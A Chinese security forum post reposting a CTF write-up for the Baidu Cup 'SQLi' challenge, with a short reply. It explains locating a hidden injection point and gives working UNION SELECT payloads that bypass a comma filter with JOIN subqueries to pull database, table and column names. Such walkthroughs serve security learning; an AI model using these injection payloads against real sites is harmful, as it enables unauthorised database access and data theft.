安全矩阵

 找回密码
 立即注册
搜索
查看: 3818|回复: 1

“百度杯”CTF比赛 九月场:SQLi

[复制链接]

16

主题

99

帖子

543

积分

高级会员

Rank: 4

积分
543
发表于 2020-3-31 23:44:42 | 显示全部楼层 |阅读模式
“百度杯”CTF比赛 九月场SQLi


转载自:csdn原创:莫者
题目链接:https://www.ichunqiu.com/battalion
点击进去,查看源代码


发现login.php?id=1,一般是存在sql注入的

查看了官方wp,说是存在index.php,并在其header头有真正的注入点

在index.php请求进行301重定向,明显发现上面的链接只差一个字母,我的是直接看到注入点l0gin.php?id=1。不能直接看到的要在header请求b68a89d1c4a097a9d863lb3ac45e8979.php
来到正确的注入页面


发现一个部分的表图 ,从表的结构可以知道字段为2

单引号检测,直接查询报错

那就 ' order by 1,2#


直接过滤了逗号后面的语句,并且id回显的是过滤后的语句
百度一波,逗号绕过注入
join 绕过
构造语句:1'  union select * from (select 1) a join (select 2 ) b %23


发现回显正常,照上面分析,id会回显过滤后的sql语句(1'  union select * from (select 1) a join (select 2 ) b %23)才对
这里没有回显,说明注入语句执行成功,因为是联合查询,union 前后的两个注入语句都是执行成功的。而这里第一个执行的结果输出了,以致第二个sql查询结果无法显示出来。
那我们可以让第一个结果执行为空,第二个就可以显示出来了

id=3的时候,username是空的

直接构造语句:3'  union select * from (select 1) a join (select 2 ) b %23

正常回显查询的字段

现在查询数据库

3'  union select * from (select 1) a join (select database() ) b %23

查询表

3'  union select * from (select 1) a join (select table_name from information_schema.tables where table_schema='sqli' ) b %23

得到user表(不贴图)

查询列

3'  union select * from (select 1) a join (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users'  ) b #

(这里连接字符函数换成limit也可以,不过照样的绕过逗号)

查询字段

get flag


原文链接:https://blog.csdn.net/weixin_40709439/article/details/82027422

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2020-8-23 11:21:14 | 显示全部楼层
这道题的脑洞在于:
1.假的注入点,必须要从network中找到真正的index.php,还做了重定向,在page中找到l0gin.php?id=1。真***坑(因言语过激被踢出直播间)
2.union select逗号过滤,改成join即可绕过
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:39 , Processed in 0.013265 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表